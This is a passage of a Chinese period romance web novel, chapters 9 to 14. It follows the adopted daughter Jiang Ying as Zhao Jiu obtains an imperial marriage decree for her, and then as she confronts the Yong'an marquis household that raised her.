《花轿临门他抢亲,重生国舅爷杀疯了》
第9章 赐婚
姜璎睡得早,醒的也早,这是她近几年来睡得最舒服最安稳的一觉。
屋内漆黑一片,隔着层层幔帐,只能隐约瞧见落地花罩外的一点微弱烛光,几名仆婢正在准备盥漱用具。
姜璎翻了个身,架子床外值夜的婢女有所察觉,轻手轻脚掀开一角床帘,柔声询问:“姑娘可是要喝水?”
“不喝水。”姜璎摇了摇头,边起身边认真道:“时辰不早了,我该去给世子夫人请安了。”
请安?
屋内的仆婢齐齐傻眼,小声道:“会不会太早了?”
姜璎看了眼更漏,有些疑惑道:“不是已经寅时过半了吗?”
因为永安侯卯时就要上朝的缘故,往往寅时姜璎就要起床,先去厨房准备永安侯和刘氏等人要吃的早膳,准备得差不多,刚好寅时过半,刘氏也起了,她就该去请安了。
姜璎还不知道世子夫人他们的用食喜好,也就没想着去抢庖厨的活儿,但请安肯定是不能落下的。
有婢女还想说什么,被派来伺候的香薷香附用眼神制止了。
昨日九郎可是对她们耳提面命,一切要以姑娘意愿为主,绝不能让姑娘受半点委屈。
这会儿天还没亮,但王氏肯定已经起了,姑娘去请安也好,还能落个孝顺懂事的好印象。
香薷给姜璎换上木屐,香附则取了架子上刚熏好不久的襦裙,两人围着姜璎,仔细伺候更衣梳洗,完全不给其他人一点机会。
两人原本是王氏给赵咎安排的通房,奈何赵咎不近女色,就连近身伺候的下人都是小厮。加上昨日的事情,香附二人也算是看明白了,与其讨好九郎,还不如尽心尽力服侍姑娘。
只要姑娘好了,自然不会亏待她们。
香薷心细,临出门前还不忘拿了昨日那件大毛斗篷给姜璎披上。
“外头风大,姑娘小心别着凉。”
“好。”姜璎点了点头,眼神认真,又透着股质朴的呆气。
她一直都是个很简单的人,别人对她的好,哪怕只有一点,她都会记在心上。
姜璎就住在王氏的院子里,顺着抄手长廊不用一刻钟便到了正屋。
临近卯时,王氏的屋子已然灯火通明。
“夫人,姜姑娘来了。”守在外头轮值的仆妇看见姜璎,有的上前迎接,有的进去通传。
很快,辛夷笑着走出来,“姑娘怎么这么早就过来了,天都还没亮呢。”
姜璎不好意思地笑了一下,脱了木屐,跟随辛夷一同进了暖阁。
世子夫人王氏正靠在引枕上翻着账本,看见姜璎,脸上不自觉露出笑容,“阿池来了。”
“给夫人请安。”
眼看姜璎就要跪下,辛夷眼皮一跳,连忙阻拦。
儿媳跪婆母,那是天经地义,但弟媳跪长嫂,还是少有的。更别说赵咎昨日那护犊子的架势,辛夷可不敢再有一点怠慢。
“一家人哪需要这么多礼?”王氏笑着拉过姜璎的手,让她在自己身边坐下,又关切道,“这才卯时,怎么不多睡会儿?”
姜璎眨了下眼,用一种理所应当的语气道:“冬温夏凊,晨昏定省,是为人子该做的。”
王氏含笑道:“可你又不是我的女儿。”
姜璎卡壳了一下,“可救命之恩,如同再生父母,我、我自然要敬重夫人。”
王氏扑哧一声笑出来,打趣道:“我还以为阿池是在替阿劫孝敬我呢,我这还没享到儿媳的福,倒先享到了弟媳的福。”
卫国公世子夫妇育有三子,其中长子只比赵咎小了三岁,还未到成亲的年纪。
姜璎听到“弟媳”二字,心肝一颤,连忙道:“夫人,我绝无僭越之心!”
赵咎的妻子自然是高门贵女,又岂是她能肖想的?
“真是个傻孩子。”王氏笑了一下,她原本还对姜璎的出身颇有微词,但如今倒是庆幸赵咎看上的是永安侯府养女,而非亲女。
姜璎也就出身欠缺了一些,但至少性格老实,是个本分人,没有被永安侯府那个大染缸教坏。
不像那位大姑娘,从头到脚都长满了心眼子,这种人娶回家就是惹事精,迟早搅得家宅不宁。
有了对比以后,王氏看姜璎的眼神也越发慈爱,发觉她手微凉,还让辛夷拿了个暖手炉过来。
“什么僭越不僭越的,你以为阿劫今日一大早去做什么?自然是进宫请陛下赐婚,好让你名正言顺做赵家的媳妇,留在卫国公府。”
骨碌碌——
小巧精致的暖手炉从手边滚到地上。
姜璎睁圆了眼睛,神情呆滞,不可置信。
“赐、赐婚?!”
辛夷捡起暖手炉,又去取了一个新的。王氏摸着姜璎冰凉的双手,许是常年伺候刘氏的缘故,她的手指不似一般贵女柔嫩,反而有一层薄薄的茧子,略显粗糙。
王氏温声道:“阿劫说要娶你,自然是说到做到。”
姜璎脑子空白一片,呆了又呆,不知道该说什么。
王氏轻叹一声,语气感慨道:“阿劫从小到大都是个让人省心的性子,唯独这件事,有种旁人说不上来的执拗。我昨日劝他,将你送回去,便是要纳妾,也该同永安侯府商量才是。”
“可他不答应,他说妾乃贱籍,妾通买卖,他瞧不上,他要娶你为妻,唯有正妻的身份,才足够永安侯府不敢再欺负你。”
——其实不是,赵咎原话可没这么正人君子。
他就一句话,“我不会让姜璎嫁给除我以外的人,她这辈子,就是死也得跟我葬在一起。”
王氏看着姜璎泛红的眼眶,忍不住又叹了口气,她真是为小叔子操碎了心。
王氏柔声道:“阿池,你明白了吗?”
姜璎没想到赵咎能为她做到这个地步,这可真是……牺牲大了!
她哽咽着点头,语气坚定道:“夫人放心,我对赵九郎君一定忠心耿耿,绝不会有二心!”
王氏:“……”
王氏扶额,纠正道:“是一心一意,你是要做他妻子的人。”又不是下属,怎么能用忠心耿耿这样的词呢?
姜璎从善如流改口:“赵九郎君为我牺牲颇多,我一定对他一心一意!绝无二志!”
王氏欲言又止,“你……哎,罢了。”
第10章 折花
天亮的很快,金乌于云层耍闹,只露出一线轮廓,明亮但又不晒人。
用完早膳,王氏看见屋里的更漏,忽然想起什么,对姜璎道:“我左看右看,屋里少了一抹春·色,不知阿池可否去帮我摘几枝桃花回来?”
姜璎答应下来,香薷和香附跟在身后,等走出正院,才小声道:“姑娘,只有去前院的那条路上才种着一株桃树。”
姜璎听懂了其中的隐晦提醒,或许是因为昨日辛夷带她去见刘氏等人,这才让香薷她们颇为不安。
“不要紧。”姜璎安抚了一句,见两人还是忧心忡忡,想了想道,“世子夫人或许不喜欢我,但以她的为人,是绝不屑于用登不上台面的手段害我的。”
“也是。”香薷和香附笑起来,是她们小人之心了。
“她真的这么说?”
辛夷点了点头,自从卫国公夫人病逝,便一直都是王氏管家,整个府里一举一动都瞒不过她的耳目。
王氏微微一笑,眼神柔和下来,“这孩子……”
辛夷笑道:“九郎是您看着长大的,和您一样,眼光好着呢。”
提到赵咎,王氏哼笑一声,“今早宫门还没开呢,他就等在那了,我看他一会儿回来的时候会不会一瘸一拐。”最好让姜璎看见。
“姑娘你看!”
姜璎顺着香附手指的方向看去,花枝缀满花·苞,个个饱满,粉嫩欲滴。
给世子夫人的自然是要最好的,姜璎踮起脚,伸手去够。
还差一截距离。
她又努力往上踮了踮。
香薷和香附个子还没姜璎高,香薷东张西望,看看附近有没有砖头。
香附见姜璎够的着实辛苦,主动道:“姑娘,奴婢去搬张矮凳吧。”
姜璎点了下头,还是有些不甘心,微微喘息了会儿,深吸一口气,再度踮起脚努力去够,这下真是把吃奶的劲都使出来了,但也只是碰到了花枝。
想要将它折下,还差一指距离。
姜璎无声叹气,脑中思绪纷飞。
她想起王氏说的话,也不知道赵咎现在怎么样了。
他会不会因为要娶她为妻,而惹恼陛下和太后娘娘呢?
姜璎越想越不安。
就在这时,一截骨节分明的手腕不由分说地闯入眼帘。
修长手指落在枝干,微微施力,便轻而易举压下整根树枝。
让姜璎颇为费劲的那枝桃花这下倒是主动送上门来,柔顺又无助地垂在她面前。
不用再垫脚,也不用把手举的老高高。
她伸出手就能拿到。
姜璎抬起头,呆呆愣愣地看着身边的人。
有那么一瞬间,她觉得周遭一切细微声音如潮水般退去,寂静之中,唯有自己的心跳是如此清晰。
赵咎言简意赅:“折吧。”
姜璎眨了下眼睛,折下桃枝。
她今日穿了身象牙白素锦襦裙,胸口和裙摆用浅藕色绣线绣了精致高雅的莲瓣,发髻只简单簪了几朵绢花。
日光透过桃枝的缝隙细细倾泻在莹白面颊,未施粉黛,却比怀中的桃花还要美丽。
春·色无限,近在眼前。
姜璎注意到赵咎另一只手握着一个书卷大小的木匣,十分主动:“赵九郎君,我帮你拿吧。”
赵咎眼底划过一抹笑意,大方道:“拿去吧。”本来就是给她的。
木匣塞到姜璎手中,与此同时,她怀里的桃枝被赵咎拿走。
“谁让你来摘桃花的?”赵咎问,其实心里已经有了答案。
果不其然,姜璎实话实说,“世子夫人说房里少了一抹春色,让我来摘几枝桃花。”
赵咎哼了一声,说是摘桃花,其实是想让姜璎看他笑话吧。
果然是近墨者黑,大嫂以前可没有这么小心眼。
“下次别那么听话。”跟软柿子成精似的,谁都能捏一下。
赵咎就没见过姜璎这么好脾气的人,这要是以后生了孩子,她难道还要纵容他们爬她头上撒野吗?
姜璎解释道:“我就是想着,举手之劳……”
赵咎瞥她一眼,“还举手之劳,方才是谁踮脚踮了半天?”
姜璎微囧,原来赵咎都看见了。
“走吧,我送你回后院。”
赵咎想到方才看见的那一幕,心里说不出的滋味,哪怕是自己的大嫂,他也不想姜璎这么听话。
赵咎淡淡道:“以后别旁人说什么,你就做什么。大嫂让你来摘桃花,是想着让你散散心,你身边的下人难道是死人不成?还要你自己亲力亲为。”
此言一出,香薷等人面色一变,齐齐跪下。
“奴婢该死!”
姜璎愣了一下,想要求情,被赵咎看了一眼,又默默把话憋了回去。
赵咎冷冷道:“跪着好好反省,省的怎么伺候主子都不知道。”
“唯唯。”众人恭谨应喏。
赵咎淡淡开口:“你心里是不是觉得我很凶?”
“没有。”姜璎摇了摇头,认真道:“我相信赵九郎君这样做一定是有理由的。”
赵咎唇角微动,眼神柔和许多,耐心对她说:“你是主子,他们不过下人,若事事都要你亲力亲为,还要他们做什么?”
这些话本不应该由赵咎来说,但王氏管家已经够辛苦了,赵咎不想麻烦大嫂,更何况,姜璎是他的妻子,他有这个责任和义务教她。
“御下之道,讲究恩威并施。要知道,谦虚宽和并不会让所有下人都感恩于心,人之本性便是恃强凌弱,要是让他们爬到你头上,你在这个家还有什么脸面可言?”
姜璎听得很用心。
赵咎又道:“香薷和香附毕竟年纪轻,不太稳重,你先自己调教着,等成了亲,我再调几个人过来伺候你。”
第11章 诏书
赵咎也是第一次处罚下人。
他母亲在世的时候,常教导他要宽和待人,保持谦逊,母亲说尊贵的气度和高高在上的身份,并非是靠打骂下人才能体现。
宽和不代表软弱,谦逊也并非自卑,而是一种自我修养。下人做错事情,自然有管事对他们进行教导处罚,否则什么都要主子出面吩咐,还培养心腹做什么?
姜璎连连点头,记在心里,看赵咎的目光都不禁充满敬意。
“从来没有人跟我说这些……”永安侯夫妻即便是栽培她,也是往琴棋书画、插花煮茶,厨艺药理上面培养,因为他们只想用她去结交权贵。
赵咎想到永安侯府那帮子人,眼中划过一抹厌恶,“你好好记着,再有下次这种事情,我不罚你,但绝不会轻饶了你身边的下人。”
姜璎心肝一颤,连忙道:“我记住了!我知道赵九郎君是为我好。”
赵咎一顿,“你知道就好。”
姜璎见他神情有所缓和,小心翼翼道:“赵九郎君,你没有受伤吧?”
赵咎斜睨她一眼:“有话就说。”
关心人还这么拐弯抹角,这种坏毛病跟谁学的?
姜璎于是老老实实道:“世子夫人跟我说,你进宫去请陛下赐婚……我身份低微,陛下肯定不高兴,我怕你被罚。”
赵咎嘴角微微上扬,又被他压了下去,轻哼一声:“你看我像是被罚的样子吗?”
姜璎还真就认认真真将他从头到尾看了一遍,“我看不出来。”
赵咎伸出手指,轻轻推了一下她的脑袋。
“你还想我脱掉衣服给你看不成?仔细看路,别看我。”
“奥。”
姜璎眉眼弯弯,眼看快要走到正院,忽然电光火石间,脑海浮现一个不可思议的想法。
“赵、赵赵九郎君!”她一手抱着木匣,一手抓住赵咎的衣角。
赵咎眼中藏着笑意,嘴上却嫌弃道:“结巴了?”
姜璎低头看了眼怀里的木匣,深吸一口气,“这,不会是……”
“嗯。”赵咎轻描淡写,“是赐婚的诏书。”
姜璎瞪圆了眼睛,差点一口气没上来,“这么重要的东西,赵九郎君,你就这么给我了?!”
诏书啊!
这不得找个东西供起来!
姜璎慌慌张张、手忙脚乱,差点把木匣给摔了。
好在赵咎眼疾手快接住。
姜璎心有余悸,说什么也不敢拿着了。
赵咎微微挑眉,“不给你给谁?你不拿,是想抗旨不成?”
姜璎倒吸一口冷气,好像说的也有道理。
“我拿!”
赵咎眼底闪过一抹笑意,淡然点头,说起另外一件事。
“听说你今日天没亮就起来给大嫂请安了?”他漫不经心道。
姜璎点点头,“我从前在家也都是这个时辰起……”
“家?”赵咎冷笑一声,姜璎自知说错了话,忙改口道:“是永安侯府。”
赵咎手指微曲敲了敲她怀里的木匣,淡淡道:“从今天开始,卫国公府才是你的家。”
“别把在永安侯府那一套逆来顺受带到卫国公府,我们可没有磋磨人的癖好。”
赵咎偏头看她,“记住没有?”
姜璎目光认真:“记住了!”
她坚信赵九郎君是不会害她的,不管他让她做什么,肯定都是为了她好。
两人拾阶而上,侍立在廊下的仆婢掀开帘子,“九郎,姜姑娘。”
王氏看见他们回来,脸上笑意加深,目光在赵咎小腿停留片刻,赵咎面色略微有些不自然,唤了声“大嫂”。
王氏微微一笑,慢条斯理道:“你这孩子,是不是故意欺负人?自己拿轻巧的,倒把分量重的塞给阿池。”
赵咎还没说话,姜璎便连忙澄清:
“夫人,不是你想的那样!是我主动要拿的,也是我应该做的,赵九郎君没有欺负我,他还帮我摘桃花呢!”
姜璎不容许任何一个人误解她的救命恩人!
王氏脸上笑容不变,“原来如此。”她意味深长地看了赵咎一眼,臭小子现在很得意吧?
赵咎神情自若,把手里的桃花交给辛夷,“大嫂不是说屋里少了抹春色吗?就用那个缥瓷净瓶插吧。”
王氏哼了一声,问他:“事情办好了?”
赵咎“嗯”了一声,示意姜璎,“把赐婚诏书拿出来吧,顺便给大嫂瞧瞧。”
他语气云淡风轻,但王氏要是听不出他暗藏的炫耀,那这么些年就白活了。
王氏阻止姜璎打开木匣,“阿池,我不看,不用打开。”又忍不住道,“你别什么都听阿劫的。”
姜璎摇了摇头,一脸严肃道:“不行,赵九郎君是我日后的夫君,我不能不听他的。”
“夫君”两个字落下。
赵咎嘴角上翘,整个人可谓是神清气爽,就连肩膀的酸痛也仿佛凭空消失。
“大嫂,你真不看?”赵咎慢悠悠道,“我还以为大嫂等着赐婚诏书,这不,一到家就赶忙送过来。”
这孔雀开屏的模样,简直让人没眼看!
王氏受不了了,笑骂一句:“赶紧走,看见你就烦。”
赵咎还要说什么,王氏作势拿起银盘里的一只橘子要砸他,赵咎见状二话不说拉起姜璎的手往外跑。
“快走。”
“啊......?”姜璎还未反应过来,就被拉着离开。
他们走后,屋里安静片刻,紧接着哄笑声此起彼伏响起。
王氏没好气道:“这都还没成亲,显摆什么!”说完自己也跟着笑了。
晌午时分,宫中来了人宣读懿旨。
赵咎肩膀那一下可不是白挨的,至少把太后娘娘给看心疼了,也就遂了他的愿。
对外就说有大师算过,姜璎与永安侯府八字犯冲。赵咎厌恶永安侯府,太后娘娘自然和他一个鼻孔出气,便借着这个由头把人留在卫国公府待嫁。
永安侯府和将军府的亲事告吹,双方颜面尽失,偏偏还不能找罪魁祸首算账,赐婚诏书一下,他们只能打落牙齿混血吞。
谁让一开始,就说好的是永安侯府大姑娘嫁给常六郎?
姜璎没想到事情就这样轻而易举解决了。
直到宣读懿旨的宫人离开,她还没从愣怔中回过神来。
“在想什么?”赵咎问。
“感觉不太真实……”姜璎抬头,看向身边的人,发自内心地感叹,“赵九郎君,如果没有你,我或许昨日就死了。”
“死”这个字让赵咎面色微变,他淡淡道:“少说这种不吉利的话。”
顿了顿,又不经意开口,“你可以叫我名字。”
谁料姜璎一口拒绝:“那怎么能行呢?”她连连摇头,“太冒犯了,不行,不行。”
空气凝滞一瞬。
赵咎“哦”了一声,冷淡道:“随便你。”
第12章 孔雀
宫中赐婚的消息很快传遍整个盛京。
一个是与陛下名为舅甥,实则情同手足的小国舅,一个却是普普通通的永安侯府养女。
家世悬殊之大,怎么看怎么不登对。
一时间,外头竟不受控制地传出许流言蜚语。
姜璎对外头的情况并不知晓,自从婚期定下以后,她便被王氏带在身边悉心教导,先从看账本学起,之后再一点点学习管家事宜。
王氏原本还怕姜璎学着费劲,半途而废,没想到她虽然从未接触过这些,却能静下心来认真学习、虚心求教。
别的不提,光这份用功的态度就足以让王氏欣慰。
“夫人,九郎过来了。”下人禀报道。
“大嫂。”
不知道从什么时候起,王氏听到这声“大嫂”就忍不住想要叹气。
赵咎今日穿了身玄青色窄袖衣衫,腰间挂着一块玉佩,乍看平平无奇,然衣上的缂丝图案是绣娘用霜白和银白二色的绣线赶制而出,就是在屋内都忍不住让人眼前一亮,更不要说日光之下,简直活脱脱一只四处溜达的公孔雀。
王氏克制着扶额的动作,“你这一个上午,都跑我这两三趟了。我是能把人蒸熟吃了,还是怎么?说吧,这回又送什么吃食孝敬我?”
说到“孝敬”两个字,屋内的仆婢都低下头忍笑。
都说女生外向,偏偏他们家反了过来。
就姜璎学看账本这两日,赵咎一个上午能来三回。
一会儿怕大嫂教累了,特意送两碗羊乳燕窝羹来,一会儿怕大嫂饿了,又让人煮了鸡丝粥亲自提了送来。
昨日王氏实在吃不下,暗中瞪了他一眼,让他适可而止。赵咎这才有所收敛,第三回过来便没带吃食,而是拿了几柄从旁人那收来的前朝书画团扇孝敬长嫂。
不过礼物虽然送到了王氏的心坎上,但她也实在受不了这人隔三差五过来晃悠。
赵咎面色不大自然,道:“大嫂,我这次来是有正经事的。”
“你有什么正经事?说吧,说了赶紧走,省的整日打扮得跟个孔雀似的,耽误我们阿池学习。”王氏就差把嫌弃二字写脸上了,“是吧阿池?”
“……”赵咎一哽,目光下意识望向姜璎。
姜璎看账本看得正晕乎,抬起头时一脸茫然,不知道他们在说什么。
辛夷贴心道:“夫人问姑娘,九郎今日这身打扮是不是很像孔雀?”
姜璎揉了揉眼睛,将赵咎从头到脚、仔仔细细打量了一遍,实话实说:“不像孔雀,像乌鸦。”
赵咎:“……?”
王氏扑哧一笑,幸灾乐祸地看了赵咎一眼,整天花枝招展,没想到吧,媚眼抛给瞎子看。
赵咎看着姜璎脸上的茫然不知,乌鸦在大魏是吉鸟,她还不知道自己哪里说错了。
赵咎深吸一口气,道:“你之前不是说有重要东西落在永安侯府,正好我今日有空,可以陪你走一趟。”
姜璎怔了一下,她没想到自己这点小事会被赵咎记在心上。
“愣着做什么?”赵咎挑了挑眉,看了一眼房内的更漏,对王氏道,“大嫂,我先带她去永安侯府,一会儿回来用午膳。”
说完拉起姜璎的手往外走。
一直到出了王氏的院子,他才放慢脚步,偏头了姜璎一眼。
姜璎呆呆的,似乎还未反应过来。
赵咎目光飘忽不定,五指松了松力道,但依旧没有放手,“在想什么?”他问。
姜璎脱口而出:“在想你的手——”
赵咎屏住呼吸,语气平淡:“怎么?”不就是牵个手吗?他们是未婚夫妻,什么事不能做,就算不适应也要学会慢慢适应,不然等日后成了亲,他可不会惯着......
“你的手好烫。”姜璎的脸上只有担忧,“不会发烧了吧?”
赵咎:“……”
你是木头吗?
赵咎面无表情:“我年轻,血气足,阳气盛,有问题吗?”
姜璎连忙摇头:“没问题,没问题。”
管家得了赵咎吩咐,早早备好了牛车。
赵家的牛车比寻常人家的牛车要大很多,分内外两间,外间跪坐着香薷香附等下人,内里则是主子休息的地方,不仅铺了暖和的地衣,还准备了素点果子,可谓是样样齐全。
赵咎扶着姜璎上了车,自己跟在她后头,“坐这。”
姜璎乖乖点头,被安排在最舒适的位置,坐姿板板正正、一丝不苟。
赵咎眼里掠过一抹笑意,忽然,他微微倾身,两人之间只剩下一个手掌的距离。
呼吸声被放大。
看着近在眼前的少年,姜璎下意识屏住呼吸,身体不自觉紧绷,紧张得两眼发直。
赵咎解开了她身上的厚重斗篷,递给外间的下人。
他又坐了回去,仪态松散,但背脊依旧俊挺,给人一种说不出的神情俊爽,迥然独秀之美。
“这么厚的斗篷,不热吗?”赵咎觑了她一眼。
姜璎结巴了一下:“还、还好。”
赵咎看出她的紧张,只当是害羞,低头笑了一下。
阿池真可爱。
不同于赵咎的愉悦,姜璎反而有些苦恼。
理智告诉她,她不应该对赵咎的靠近感到如此紧张,这样是不会讨人喜欢的。但身体的本能却难以控制。
姜璎从未与外男接触过,这些年来,永安侯夫人刘氏对她耳提面命,要她将三从四德倒背如流,又让自己的贴身婆子隔三差五给她灌输孝道。
可以说,在姜宝瑜回来之前,姜璎是把永安侯夫妻当神明一般侍奉顺从。比起人情世故,她最先学会的是小心讨好和无脑付出。
她不知道什么是喜欢,也不知道什么叫爱好,因为永安侯夫妻从来没有给她选择的权利。
即将成为夫妻的两个人都没有发现一个可怕的事情。
那就是——姜璎对赵咎,看似言听计从,实则只敬不慕。
牛车的速度忽然慢了下来,赵咎身边的贴身仆役归南在外间唤了一声“九郎”。
姜璎看着赵咎打开扇门,不知道归南说了什么,他的面色忽然凝重起来。
像是碰到了什么棘手的问题。
姜璎主动道:“赵九郎君,你先去忙吧,我一个人可以的。”
赵咎看了她一眼,很快做出决定:“你多带几个人,去永安侯府拿了东西就走,不要和他们有过多交流。记住了吗?”
说完似乎觉得语气太过生硬,他顿了顿,又补充了一句:“别怕,我一会儿过来接你。”
姜璎只记住了前半句话,点了点头保证道:“我不会和他们有过多交流的。”
好乖。
赵咎脑子里莫名浮现这两个字。
他忍着揉姜璎脸蛋的冲动,快速下了牛车,归南等仆役跟在他身边。
第13章 动手
牛车停在永安侯府大门口,门房眼睛尖,看见上头显目的赵氏族徽,赶忙进去禀报。
姜璎下了车,抬头就是永安侯府的牌匾。
从前只觉威严沉沉,压得人喘不过气来,现在再看,竟是心如止水,毫无波澜。
“姑娘,咱们进去吧。”外头起了风,香薷连忙把斗篷给姜璎披上,这可是蓼莪院未来的女主人,绝不能有半点闪失!
门房小跑着过来,脸上是前所未有的殷勤笑容,“二姑娘回来了,正好夫人还有大郎君他们都在,见您回来一定高兴!”
姜璎没有理会,径直往里走。
门房讨了个没趣,看着一行人的背影,啐了一口道:“真以为自己飞上枝头就能变凤凰,也不想想自己是个什么出身!”
姜璎原先住在姜宝瑜的下人房里,趁着这会儿没人,她从床板下面的暗格拿出玉佩,便准备离开。
孰料一转身,门外就出现姜宝瑜的身影。
姜宝瑜穿着一身杏色襦裙,温温柔柔地问:“妹妹来去匆匆,是做什么呢?”
姜璎握紧了手中的玉佩,她一点儿也不想和永安侯府的人撞上,偏偏事与愿违。
香薷香附虽然不会武功,但护主意识还是有的。
两人挡在姜璎身前,香薷客气道:“我们姑娘今日只是来拿属于自己的东西,拿了就走,还请姜大姑娘让一让。”
姜宝瑜看见了姜璎攥在手里的东西,自然不相信她是专门为了一块不值钱的玉佩回来的,说不定还拿了其他财物。
“妹妹若是手头不宽裕,直说便是,何必做这种偷偷摸摸,见不得人的勾当?”姜宝瑜叹了口气,神情失望。
姜璎攥紧手心,冷冷道:“我拿的是自己的东西。”
姜宝瑜身边的婢女不屑道:“这可说不定,二姑娘连爱慕虚荣,攀附权贵的事都能做得出来,谁知道会不会手脚不干净。二姑娘,你还是趁早的把我们姑娘的东西交出来!省的到时候报官……”
“啪——!”
话没说完,香附上去就是一巴掌,冷冷道,“你的嘴巴才不干不净呢。”在她们的面前羞辱姜璎,当她们死人嘛?
香薷递给香附一块帕子,“快擦擦,别脏了手。”
婢女被打懵了,不可置信地看着她们:“你们、你们简直欺人太甚!”
姜璎也愣了一下,但很快反应过来,道:“打的就是你。”
姜宝瑜微微皱眉,道:“妹妹何必恼羞成怒呢?虽然浮叶说话直接,可你我毕竟是姐妹,就算你拿了其他东西,我也不会怪你的。”
当着下人的面,姜宝瑜最喜欢站在道德制高点教训姜璎,尤其是这种似是而非的抹黑,三言两语就能把她踩进泥里,怎么洗都洗不干净。
往往这种时候,姜璎不用看周围,就能感受到姜宝瑜身边仆婢责怪而鄙夷的目光。
姜璎冷冷道:“恼羞成怒?你话里话外诬陷我偷窃,我不怒,难道还要感激你心思龌龊不成?再多说一句,你看我打不打你。”
——呼。
说出来了,终于说出来了!
姜璎看着姜宝瑜脸上的不可置信,心中郁气顿时烟消云散,取而代之的是前所未有的畅快。
赵九郎君说了,她现在是卫国公府的人,若再被人欺负,那丢的就是卫国公府的脸面。
她绝对不会给他们丢脸的!
放完人生中第一句狠话,姜璎只觉此刻浑身充满力量,“我们走。”
姜宝瑜忽然拉住她手臂,死死盯着她道:“你还想打我?”
“松开!”香薷一把扯开她,香附不用主子吩咐,抬手就是一巴掌。
啪地一声,清脆无比。
说让她多嘴的?
“你——!”姜宝瑜捂着脸,眼睛通红。
香附呸了一声:“你什么你?上不得台面的东西,也配我们姑娘亲自动手?打你还嫌脏手呢!”
话音落地。
姜承祁和刘氏母子二人就来了。
“姜璎!”
姜承祁怒气冲冲,正要好好诘责这个没良心的白眼狼,谁成想一个人踉跄着脚步扑到他怀里。
姜宝瑜强忍着泪水,哽咽道:“阿兄!你可算是来了!”
浮叶等下人生怕被夫人和大公子责罚,连忙你一言我一语地指责姜璎。
“夫人,大公子,你们来的正好!姑娘都快被二姑娘打死了!”
“什么?”刘氏看见姜宝瑜脸上的巴掌印,一颗心顿时揪了起来。
姜宝瑜被母亲搂在怀里,泪水涟涟道:“阿娘,我只是怕妹妹误入歧途,关怀了几句,谁成想竟惹了她不快,就对我动了手……”
姜承祁猛地看向姜璎:“你敢对阿宝动手?!”
姜璎没有辩解,不管是香附动的手,还是她动的手,都不重要。
他们不喜欢她,她说什么都是错,哪怕没做也是错。
姜璎以前还想努力表现自己,后面想明白了,她不是他们的女儿、妹妹,那她做什么都没有用。
“夫人,大公子,你们一定要替姑娘做主啊!”浮叶满脸气愤,“二姑娘逃婚在先,和人私奔在后,如今被赶回来,不先给夫人请安也就罢了,还冲到姑娘的院子里偷东西!被我们发现,就恼羞成怒打人!”
被赶回来?
姜璎愣了一下。
姜承祁气得胸口不断起伏,满脸失望道:“姜璎,我从没见过你这样不知廉耻的人!你以为你留在卫国公府就能过上好日子了?还不是赐婚没两日就被赶了回来!”
“你回来不给阿娘请安,阿娘却惦记着你,怕你在卫国公府受了委屈,结果你倒好!竟然敢做出偷窃这种不要脸的事情,还对阿宝动手!”
姜璎古怪地看着他们。
香薷香附等人也是一脸莫名其妙。
姑娘不过是回来拿自己的东西,他们竟然以为姑娘……是被赶回来的?
瞧不起谁呢?!
九郎亲自去求的赐婚,就算哪一日他被国公赶出府,都会把姑娘带在身边一起离开。
姜璎无意与他们争辩,只将玉佩拿出来,“这是大公子带我入永安侯府之前,我便有的玉佩。我来只为取走自己的东西,没动你们任何一分一毫。”
“若不信,只管报官。不然,再让我听见诬陷秽语,就不只是巴掌这么简单的事儿了。”
姜璎认真地看着他们,“我的针线活夫人是知道的,谁再诬陷我,我就拿针线给她的嘴缝起来。”
姜宝瑜面色一白,委屈道:“妹妹,我……”
姜璎打断道:“不想听。”
每次都是这样,在下人面前高高在上教训她,但只要刘氏他们出现,姜宝瑜就又是另外一副嘴脸。
委屈的不行,仿佛姜璎对她做了什么天理不容的事情。
第14章 决绝
姜承祁自然也认识这块玉佩。
在姜宝瑜还没有回来之前,他也是给姜璎买过首饰的,但不管他买多少,都比不上这块玉佩在姜璎心里的地位。
想到这,姜承祁心中越发不痛快,语气刻薄道:
“我还以为什么值钱的东西。这种破玉佩,也就你当个宝,在永安侯府这么些年都改不掉你的穷酸相。”
姜璎背脊挺直,冷冷道:“我的东西价值几何,用不着大公子指手画脚。永安侯府倒是不穷酸,只是不长脑袋光长嘴,上下嘴皮子一碰,就是凭空捏造,是非不分,污蔑他人。”
此言一出,周遭静了一瞬。
姜璎的性格决定了她的行事作风,一贯是只知道埋头苦干而不擅花言巧语的。
鲜少有这样,嘴皮子利索的时候。
刘氏愣了愣,有些出神。
姜承祁看着眼前既熟悉又陌生的人,心里说不出是什么感觉,咬了咬牙道,“要不是你鬼鬼祟祟,阿宝又怎么会误会?!”
他深吸一口气,面色不耐道:“过来给阿宝赔礼道歉,这事儿就当过去了,你照样还是永安侯府的二姑娘。”
姜宝瑜小声道:“阿兄,还是算了吧,妹妹被赶回来一定很难受,她心情不好,我也是能理解的。”
刘氏适时打圆场,柔声道:“阿池,你看你姐姐多体贴,你被卫国公府赶出来,她最是担心不过了,要不然刚才也不会关心则乱误会你。”
姜璎面无表情,要不是刚才被污蔑,她是半点也不想和他们说话。
“让开。”
“你什么态度?”姜承祁皱了皱眉,“灰溜溜回来不嫌丢人,还在这耍威风,你知不知道因为你,我们家这次丢了多大的人!”
姜璎冷冷道:“你们自己欺骗将军府,与我何干?”
姜承祁冷笑道:“你倒是不想想自己做的事情!不知廉耻,攀龙附凤!赐婚诏书一下,人人都在津津乐道永安侯府出了个手段了得的养女,说的要多难听有多难听,连带着阿爹阿娘都跟着抬不起头!”
姜璎神情空白一瞬。
香薷香附面色一变,心道完了。
自从赐婚之后,外头的风言风语数不胜数,但赵咎下了死命令,卫国公府的下人不是家生子便都是签了死契的,自然不会在主子面前乱嚼舌根。
赵咎不想让姜璎知道,私下里也在查是谁躲背后兴风作浪,这件事一直瞒得好好的,没想到……
姜璎抿了抿嘴,一言不发往外走。
赵咎是不会害她的,姜璎坚信。
他让人瞒着她,一定是为了她好!
姜承祁见她直接忽视自己,怒声道:“姜璎!你去哪?!”
姜宝瑜眼中划过一抹狐疑,担心道:“阿兄,妹妹不会准备搬出去住吧?她真的要和我们断绝关系吗?”
“她敢?!”
“这怎么能行!”
姜承祁和刘氏同时开口。
刘氏养了姜璎这些年,总归是有些感情的,她甚至还有些庆幸姜璎没有攀上卫国公府这根高枝儿,这样日后还能用来结交其他权贵。
而且,经此一事,姜璎也该明白心得向着哪边儿。
刘氏对姜承祁道:“你快去把阿池喊回来,这傻孩子就是倔,纵然她有千般不是,我们也不会让她流浪街头啊!”
姜宝瑜撅了撅嘴,“阿娘,你对妹妹可真好。”
刘氏被她逗笑,柔声道:“阿宝放心,阿娘最疼的永远是你,就算是你阿兄也越不过你去。”
